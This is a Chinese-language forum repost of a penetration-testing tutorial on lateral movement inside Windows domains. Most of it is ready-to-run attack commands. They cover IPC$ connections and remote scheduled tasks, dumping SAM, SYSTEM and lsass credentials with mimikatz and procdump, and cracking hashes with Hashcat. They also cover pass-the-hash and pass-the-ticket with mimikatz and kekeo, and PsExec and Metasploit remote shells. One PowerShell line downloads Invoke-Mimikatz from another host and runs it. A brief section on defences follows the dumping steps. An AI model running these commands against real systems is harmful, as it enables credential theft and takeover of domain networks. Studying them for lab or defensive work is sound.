|
本帖最后由 Delina 于 2022-1-12 18:38 编辑
原文链接:域内横向移动
利用域内横向移动技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)
 
通过此类攻击手法,最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设置和与业务相关的关键账户
0x01 常用的windows远程连接和相关命令
在拿到目标计算机的用户明文密码或者NTLM Hash后,可通过PTH(Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程windows操作系统中执行命令。像在多层代理环境中进行渗透,由于网络条件差,无法使用图形化界面连接远程主机。这个时候就可以用命令行的方式连接远程主机,最好是windows自带的方法对远程目标系统进行命令行下的连接操作,并执行相关命令
IPC
IPC(Inter Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获取相应权限,通常在远程管理计算机和查看计算机的共享资源时使用
通过ipc$可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器只能够的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息
建立一个ipc$并查看当前连接输入如下命令- net use \\192.168.1.1\ipc$ "Admin!@#$4321" /user:administrator
- net use
复制代码

1、ipc$的利用条件
ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$需要139、445端口的支持
- 管理员开启了默认共享
- 默认共享是为了方便管理员进行远程管理而默认开启,包括所有的逻辑盘(c$、d$、e$等)和系统目录wint或Windows(admin$)。通过ipc,可以实现对这些默认贡献目录的访问
2、ipc$连接失败的原因
- 用户名或密码错误
- 目标没有打开ipc$共享目录
- 不能成功连接目标的139、445端口
- 命令输入错误
3、常见错误
- 错误号5:拒绝访问
- 错误号51:windows无法找到网络路径,即网络中存在问题
- 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标lanmanserver服务未启动、目标有防火墙(端口过滤)
- 错误号67:找不到网络名,包括lanmanworkstation服务未启动、ipc$已被删除
- 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipc$,需要在删除原连接后重新进行连接
- 错误号1326:未知的用户名或密码错误
- 错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogin服务未启动(连接域控制器时会出现此情况)
- 错误号2242:此用户的密码已经过期。例如,目标机器设置了账号管理策略,强制用户定期修改密码
使用Windows自带的工具获取远程主机信息
1、dir命令
建立连接后,使用dir命令列出远程主机中的文件
 
2、tasklist命令
在使用net use命令与目标主机建立ipc$后,使用tasklist命令的/S 、/U、/P参数列出远程主机上运行的进程
tasklist /S 192.168.1.1 /U administrator /P Admin!@#$4321 |
 
计划任务
1、at命令
at是Windows自带的用于创建计划任务的命令,它主要工作在Windows Server2008之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下:
- 使用net time命令确定远程机器当前的系统时间
- 使用copy命令将payload文件复制到远程目标机器中
- 使用at命令定时启动创建计划任务的记录
在使用at命令在远程机器上创建计划任务之前,需要使用net use命令建立ipc$
(1)查看目标系统时间
net time命令可查看远程主机的系统时间
 
(2)将文件复制到目标系统中
先在本地创建一个calc.bat文件,其内容为calc然后,让windows远程一个计算器策划那个废墟,用Windows自带的copy命令将一个文件复制到远程主机的C盘中
copy calc.bat \\192.168.1.1\C$ |
 
(3)使用at创建计划任务
使用at命令让目标系统在指定时间运行一个程序,192.168.1.3是一台Windows7
at \\192.168.1.3 15:22:40 C:\calc.bat |

(4)清除at记录
计划任务不会随着它本身的执行而被删除,因此在执行后记得清楚自己创建的计划任务
使用at远程执行命令后,先将执行结果写入本地文本文件,再使用type命令远程读取该文本文件- at \\192.168.1.3 15:33:37 cmd.exe /C "ipconfig" >C:/"1.txt"
- type \\192.168.1.3\C$\1.txt
复制代码
2、schtasks命令
Windows Vista、windows server2008及之后版本的操作系统已将at命令废弃了,可以使用schtasks命令代替at命令.schtask命令比at命令更为灵活、自由
在远程主机创建一个test的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat启动权限是system。随后运行该计划任务
- schtasks /create /s 192.168.1.3 /tn test /sc onstart /tr c:\cala.bat /ru system /f
- schtasks /run /s 192.168.1.3 /i /tn "test"
复制代码
这里使用schtasks命令不需要密码是因为之前已经建立了ipc$在没有建立ipc$的情况下,需要添加/u和/p的参数。schtasks命令参数如下
- /u : administrator
- /p: “Admin!@#$4321”
- /f: 强制删除
计划任务运行后,删除该计划任务,命令如下
schtasks /delete /s 192.168.1.3 /tn "test" /f |
 
最后,删除ipc$需要确认删除的是自己创建的- net use 名称 /del /y
- net use \\192.168.1.1 /del /y
复制代码

在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt如果执行schtasks命令后没有回显,可配合ipc$执行文件,使用type命令远程查看执行结果
0x02 Windoors系统散列值获取
LM Hash和NTLM Hash
windows操作系统通常使用两种方法对用户的明文密码进行加密处理。域环境中,用户信息存储在ntds.dit,加密后为散列值
windows操作系统密码一般由两部分组成,一部分为LM Hash另一部分为NTLM Hash在Windows中,Hash的结构通常如下
username:RID M-HASH:NT-HASH | LM Hash全名为LAN Manager Hash是微软为了提高windows操作系统的安全性能而采用的散列加密算法,其本质是DES加密,密码不足14字节将用0补全。LM Hash较容易破解,但微软仅仅是将LM Hash禁用了从windows Vista和windows server 2008版本开始,Windows操作系统默认禁用LM Hash。LM Hash明文密码限定在14位以内,也就是说,如果要停止使用LM Hash 将用户密码设置为14位以上即可。如果LM Hash被禁用,通过工具抓取的LM Hash通常为”add3b435b51404eeaad3b435b51404ee”表示LM Hash为空值或被禁用
NTLM Hash是微软为了提高安全性的同时兼容而设计的散列加密算法。NTLM Hash 是基于MD4加密算法进行加密的。个人版从Windows vista 服务器版从windows server2003以后,windows操作系统的认证方式均为NTLM Hash
单机密码抓取
要想在windows操作系统中抓取散列值或明文密码,必须将权限提升至system。本地用户名、散列值感和其他安全验证信息都存在SAM文件中。lsass.exe进程用于实现windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出
在windows操作系统中,SAM文件保存的位置是C:\windows\systen\config 该文件是被锁定的,不允许复制。在渗透中,可在关闭操作系统后,使用PE盘进入文件管理环境,直接复制SAM文件,也可使用VSS等方法进行复制
1、GetPass
打开GetPass工具,根本当前系统的版本运行对应的程序,即可获得
 
2、PwDump7
在命令行中运行PwDump7程序,可得到所有账户的NTLM Hash可用彩虹表或在线破解,破解不出的时候可使用哈希传递的方法进行横向渗透
 
3、QuarkPwDump
管理员权限下运行,导出用户的NTLM Hash- QuarksPwDump.exe --dump-hash-local
- QuarksPwDump.exe -dhl -o 1.txt
复制代码

4、通过SAM和SYSTEM文件抓取密码
(1)导出SAM和SYSTEM文件到本地磁盘,无工具导出如下- reg save HKLM\SYSTEM system.hive
- reg save HKLM\SAM sam.hive
- reg save hklm\security security.hive
复制代码
(2)通过读取SAM文件和System文件获得NTLM Hash
mimikatz可执行哈希传递、票据传递或构建黄金票据(Golden Ticket)
将把导出的sam.hive跟system.hive文件放到mimikatz通目录下,运行mimikatz,输入如下命令
lsadump::sam /sam:sam.hive /system:system.hive |
 
(3) 使用mimikatz直接读取本地的SAM文件,导出hash值
这里需要在目标机器上运行,打开后,输入如下命令,将权限提升到system最后读取本地的SAM文件,获得NTLM Hash- privilege::debug
- token::elevate
- lsadump::sam
复制代码

5、使用mimikatz在线读取SAM文件
在线读取散列值及明文密码,如下命令
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" |
 
6、使用mimikatz离线读取lsass.dmp文件
(1)导出lasses.dmp文件
在Windows NT6中找到lsass.exe进程,单击右键,在弹出的快捷菜单中选择Create Dump File选项
此时会在本地生成lsass(2).exe.DMP文件
(2)使用Procdump导出lasses.dmp
procdump是微软官方发布工具,可在命令行下将目标lsass文件导出,且杀毒软件不会拦截这些操作,下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump64.exe -accepteula -ma lsass.exe lsass.dmp |
 
(3)使用mimikatz导出lasses.dmp文件中的密码散列值
命令行中启动mimikatz,将lass.dmp加载在mimikatz中。先运行第一条命令,如果看到Switch to MINIDUMP字样,表示加载成功,再运行第二条命令,导出密码散列值- sekurlsa::minidump lsass.DMP
- sekurlsa::logonPasswords full
复制代码

7、使用powershell对散列值进行Dump操作
Nishang的Get-PassHashes.ps1脚本可用来导出散列值
管理员的权限打开powershelgl,进入Nishang目录,将Get-PassHashes.ps1脚本导入,之后执行Get-PassHashes命令,导出散列值,测试的时候在域环境中的2008R2跟单环境的win10都不成功,暂时不知道原因- Import-Module .\Get-PassHashes.ps1
- Get-PassHashes
复制代码
8、使用powershell远程加载mimikatz抓取散列值和明文密码
在命令行中远程获取密码
powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.3:8000/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz |
 
使用Hashcat获取密码
1、安装Hashcat
下载地址:https://github.com/hashcat/hashcat/archive/v5.1.0.zip- git clone https://github.com/hashcat/hashcat.git
- make //编译
- make install //安装
- ./hashcat -h //查看帮助信息
复制代码

还有一种方法是直接下载Hashcat的源码,在相应的linux操作系统中直接运行hashcat32.bin或hashcat64.bin。同时Hashcat还有可执行程序的版本,可在window中直接运行32位或64位的Hashcat,命令如下
2、Hashcat的使用方法
使用-b参数,测试使用当前机器进行破解的基准速度,这里由于是在虚拟机中,因此使用–force参数强制执行
 
(1) 指定散列值类型
使用-m参数指定散列值类型,常见散列值类型可参考Hashcat帮助或其官网:https://hashcat.net/wiki/doku.php?id=example_hashes
 
(2) 指定破解模式
可用 -a number来指定Hashcat的破解模式,模式乳腺癌- 0 = Straight //字典破解
- 1 = Combination //组合破解
- 2 = Toggle-Case
- 3 = Brute-force //掩码暴力破解
- 4 = Permutation //组合破解
- 5 = Table-Lookup
复制代码
(3) 常用命令
通常使用字典模式进行破解,输入如下命令,Hashcat将开始破解
hashcat -a 0 -m xx<hashfile> <zidianl> <zidian2> |
- -a 0:以字典模式破解
- -m xx:指定内的散列值类型
- :将多个散列值存入文本,等待破解
- :指定字典文件
将1到8指定为数字进行破解
hashcat -a 3 --increment --increment-min 1--increment-max 8 ?d?d?d?d?d?d?d?d -O | 破解windows散列值,命令如下
hashcat-m 1000 -a 0 -o winpassok.txt win.hash password.lst --username | 破解WIFI握手包,命令如下,这里需要使用aircrack-ng把cap格式转换成bccap格式,才可使用hashcat破解- aircrack-ng<out.cap> -J <out.hccap>
- hashcat -m 2500 out.hccap dics.txt
复制代码 -m 2500:指定散列值的类型为APA/PSK
(4)常用选项
命令hashcat -h可查看所有选项,常用的如下
- -show: 仅显示已经破解的密码
- -o,outfile=File:定义散列值文件,恢复文件名和保存位置
- -n,-threads=NUM:线程数
- –remove:把破解出来的密码从散列表中移除
- –segment-size 512:设置内存缓存的大小,可提高破解速度,单位为MB
处于更加方便快捷,可直接使用在线的破解网站,如下
http://www.xmd5.com/
https://www.cmd5.com/
https://www.somd5.com/
防范抓取明文密码和散列值
1、设置Active Directory2012 R2功能级别
windows server 2012 R2新增了一个名为受保护的用户的用户组。将需要保护的用户放入该组,则无法使用mimikatz等工具抓取明文密码和散列值了
2、安装KB2871997
KB2871997是解决PsExec或IPC远程查看(c$)问题的补丁,被使本地账号不再被允许远程接入计算机系统,但系统默认的本地管理员账号Administrator这个SID为500的用户例外,改名也没法,因为SID是不变的,依旧可以横向获取内网其他计算机的权限,需要禁用默认的Administrator账号,则可防御哈希传递
3、通过修改注册表禁止在内存中存储明文密码
WDigest协议,该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机,可通过修改注册表的方式,解决内存中以明文存储密码的问题
4、防御mimikatz
mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需呀和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程)。将拥有Debug权限的本地管理员从Administrator组中删除,重启。
0x03 哈希传递攻击
哈希传递攻击概念
哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值,通常是NTLM Hash来进行攻击。域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。若计算机的本地管理员账号和密码是相同的,就可以使用哈希传递的方法登录内网中的其他计算机,这种哈希传递,可以省去破解密码散列值,即获得密码明文的步骤
Windows中,散列值是用来证明身份的(有正确的用户名和密码散列值,就能通过验证)。在windows server 2012 R2 及之后的操作系统中,默认在内存不会记录明文密码。因此可使用工具将散列值传递到其他计算机,进行权限验证,进而对其他计算机获取控制权限
哈希传递攻击
散列值的概念:当用户设置密码的时候,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登陆网站的时候,会先对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果相同则验证成功。
Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证,早起的Windows操作系统,则使用LM Hash对用户密码进行验证。但是呢,当密码大于等于15位的时候,就无法使用LM Hash了。从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash,因为使用NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例子LsaLogonUser)转换成散列值。攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。
1、使用NTLM Hash进行哈希传递
实验环境:
- 域名:hack.testlab
- 用户名:administrator
- NTLM Hash:09bc0266e773764dc3606744ddbe133d
在目标机器上,以管理员的权限运行mimikatz输入如下命令,之后会弹出cmd.exe在命令行环境尝试列出域控制器或其他机器的C盘内容,dir后面跟主机名,只有是哈希相同的那么就可以列出其C盘的内容- mimikatz.exe "privilege::debug"
- sekurlsa::pth /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d //可以连在一起执行
复制代码

2、使用AES-256秘钥进行哈希传递
实验环境:远程系统(必须安装KB2871997)
- 域名:hacke.testlab
- 用户名:administrator
- AES-256密钥:1670230ac09d8fdff51c080b2c98f44f5c56270f5692ab8f60df6daeaee20903
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" |
 
在目标机器中,以管理员权限运行mimikatz输入如下命令- mimikatz.exe "privilege::debug"
- sekurlsa::pth /user:administrator /domain:hacke.testlab /aes256:1670230ac09d8fdff51c080b2c98f44f5c56270f5692ab8f60df6
复制代码
在目标机器再次运行,即可列出远程主机的C盘内容,测试的过程中在windows7根2008r2没装上补丁
需要注意的是:
- dir后跟要使用的主机名,而不是IP地址,否则会提示用户名或密码错误
- 除了AES-256密钥,AES-128密钥也可以用来进行哈希传递
- 使用AES密钥对远程主机进行哈希传递的前提是在本地安装KB2871997
- 如果安装了KB2871997,仍然可以使用SID为500的用户的NTLMHash进行哈希传递
- 使用mimikatz哈希传递功能,需要具备本地管理员权限。这是由mimikatz的实现机制决定的(需要高权限进程lsass.exe的执行权限)
KB2871997补丁影响
KB2871997补丁的作用是禁止通过本地管理员权限与远程计算机进行连接,因此安装本补丁时,本地管理员权限无法对远程计算机使用PsExec、WMI、smbexec、schtasks、at,也无法访问远程主机的文件共享等
更新KB2871997补丁后,无法使用常规的哈希传递方法进行横向移动,但Aadministrator账号(SID为500)例外,使用该账号的散列值依旧可以进行哈希传递。
SID为500的账号。在一些计算机中即使将administrator账号改名,也不会影响SID的值。因此使用SID为500的账号进行横向移动,就不会受到KB2871997的影响
0x04票据传递
要想使用mimikatz的哈希传递功能,需要具备本地管理员权限,mimikatz提供了不需要本地管理员全新进行横向渗透的方法,如票据传递(Pass The Ticket, PTT)
使用mimikatz进行票据传递
使用mimikatz可以将内存中的票据导出。导出命令如下
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" |
 
执行票据导出命令后,会在当前目录下出现多个服务的票据文件,如krbtgt、cifs、ldap等,使用mimikatz清楚内存中的票据,随之将票据文件注入内存,将高权限的票据文件注入内存后,可列出远程计算机系统的文件目录命令如下- kerberos::purge
- mimikatz.exe "kerberos::ptt "C:\ticket\[0;59f88]-2-0-60a10000-Administrator@krbtgt-HACKE.TESTLAB.kirbi"
- dir \\dc\c$
复制代码

 
使用kekeo进行票据传递
票据传递也可以使用kekeo工具来实现,下载地址:https://github.com/gentilkiwi/kekeo
kekeo需要使用域名、用户名、NTLMHash三者配合生成票据,再将票据导入,从而直接连接远程计算机
实验环境
- 域名:hacke.testlab
- 用户名:administrator
- NTLM Hash:09bc0266e773764dc3606744ddbe133d
在目标机器中输入命令,运行kekeo,在当前目录下生成一个票据文件,票据文件为TGT_administrator@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi。如图
kekeo "tgt::ask /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d |
 
在kekeo中清除当前内存中的其他票据(否则可能导致票据传递失败),在windows命令运行环境中执行系统自带的命令,也可以清除内存中的票据

使用kekeo将票据文件导入内存,将票据文件导入内存后,使用exit 命令退出kekeo使用dir命令,列出远程主机中的文件命令如下
 
需要注意的是:
- dir命令,是主机,不要使用ip地址
- 票据文件注入的默认有效时间是10小时
- 目标机器上不需要本地管理员权限即可进行票据传递
PsExec的使用
PsExec可以在windows vista/Nt 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016包含64位版本上运行
PsTools工具包中的PsExec
PsExec包含在PsTools工具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip。通过PsExec,可以在远程计算机上执行命令,可以将管理员权限提升到system权限以运行执行的程序。
PsExec原理:
通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,之后,通过psexec服务运行命令,运行结束后删除服务。
获取目标操作系统的交互式shell,在建立ipc$的情况下,执行如下命令,可以获取system权限的shell- net use \\192.168.1.3\ipc$ "Admin!@#$4321" /user:administrator
- PsExec.exe -accepteula \\192.168.1.3 -s cmd.exe
- PsExec.exe -accepteula \\192.168.1.3 cmd.exe
- whoami
复制代码

在没有建立ipc$``PsExec有两个参数可以通过指定账号和密码进行远程连接,注意这里用户名前面要加域,不然会提示登录失败: 未知的用户名或错误密码
- -u:域\用户名
- -p:密码
- PsExec.exe \\192.168.1.2 -u administrator -p Admin!@#$4321 cmd.exe
- PsExec.exe \\192.168.1.2 -u HACKE\administrator -p Admin!@#$4321 cmd.exe
复制代码

使用PsExec时,需要注意:
- 需要远程系统开启admin$共享(默认是开启的)
- 在使用ipc$连接目标系统后,不需要输入账号和密码
- 使用PsExec执行命令时,由于创建或删除服务时会产生大量的日志,可通过日志反推攻击
- 使用PsExec可以直接获得system权限的交互式shell
metasploit中的psexec模块
使用命令进行搜索,然后输入对应的使用命令,这里测试的时候没成,暂时不知道原因…- search psexec
- set rhost 192.168.1.2
- set smbuser administrtaor
- set smbpass Admin!@#$4321
- run
复制代码

psexec_pth模块和psexec模块的使用方法相同,psexec_pth模块上传的饿payload是powershell版本的。
|
|